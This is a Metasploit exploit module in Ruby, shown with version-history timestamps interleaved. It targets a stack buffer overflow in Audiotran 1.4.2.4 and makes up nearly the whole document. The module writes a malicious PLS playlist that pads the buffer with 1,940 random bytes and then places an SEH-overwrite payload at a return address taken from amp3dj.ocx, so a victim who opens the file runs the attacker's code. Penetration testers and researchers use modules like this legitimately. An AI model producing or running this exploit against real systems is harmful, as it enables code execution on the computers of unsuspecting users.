2014-02-16 21:20:50 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-02-16 21:20:50 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-02-16 21:20:50 +00:00
|
|
|
Rank = GoodRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-02-18 20:02:37 +00:00
|
|
|
'Name' => 'Audiotran PLS File Stack Buffer Overflow',
|
2014-02-16 21:20:50 +00:00
|
|
|
'Description' => %q{
|
2014-02-18 20:02:37 +00:00
|
|
|
This module exploits a stack-based buffer overflow in Audiotran 1.4.2.4.
|
2014-02-16 21:20:50 +00:00
|
|
|
An attacker must send the file to victim and the victim must open the file.
|
2014-02-18 20:02:37 +00:00
|
|
|
Alternatively, it may be possible to execute code remotely via an embedded
|
|
|
|
PLS file within a browser when the PLS extention is registered to Audiotran.
|
|
|
|
This alternate vector has not been tested and cannot be exercised directly
|
|
|
|
with this module.
|
2014-02-16 21:20:50 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Philip OKeefe',
|
|
|
|
],
|
2014-02-18 19:59:58 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'EDB', '14961' ]
|
|
|
|
],
|
2014-02-16 21:20:50 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 5000,
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x3d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2014-02-17 18:40:03 +00:00
|
|
|
[ 'Windows Universal', { 'Ret' => 0x1001cd67 } ], #p/p/r from amp3dj.ocx
|
2014-02-16 21:20:50 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2014-02-18 19:59:58 +00:00
|
|
|
'DisclosureDate' => 'Sep 09 2010',
|
2014-02-16 21:20:50 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2014-02-16 21:20:50 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2014-02-17 18:40:03 +00:00
|
|
|
sploit = "[playlist]\r\nFile1="
|
2014-02-16 21:20:50 +00:00
|
|
|
sploit << rand_text_alpha_upper(1940)
|
|
|
|
sploit << generate_seh_payload(target.ret)
|
|
|
|
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
|
|
|
file_create(sploit)
|
|
|
|
end
|
|
|
|
end
|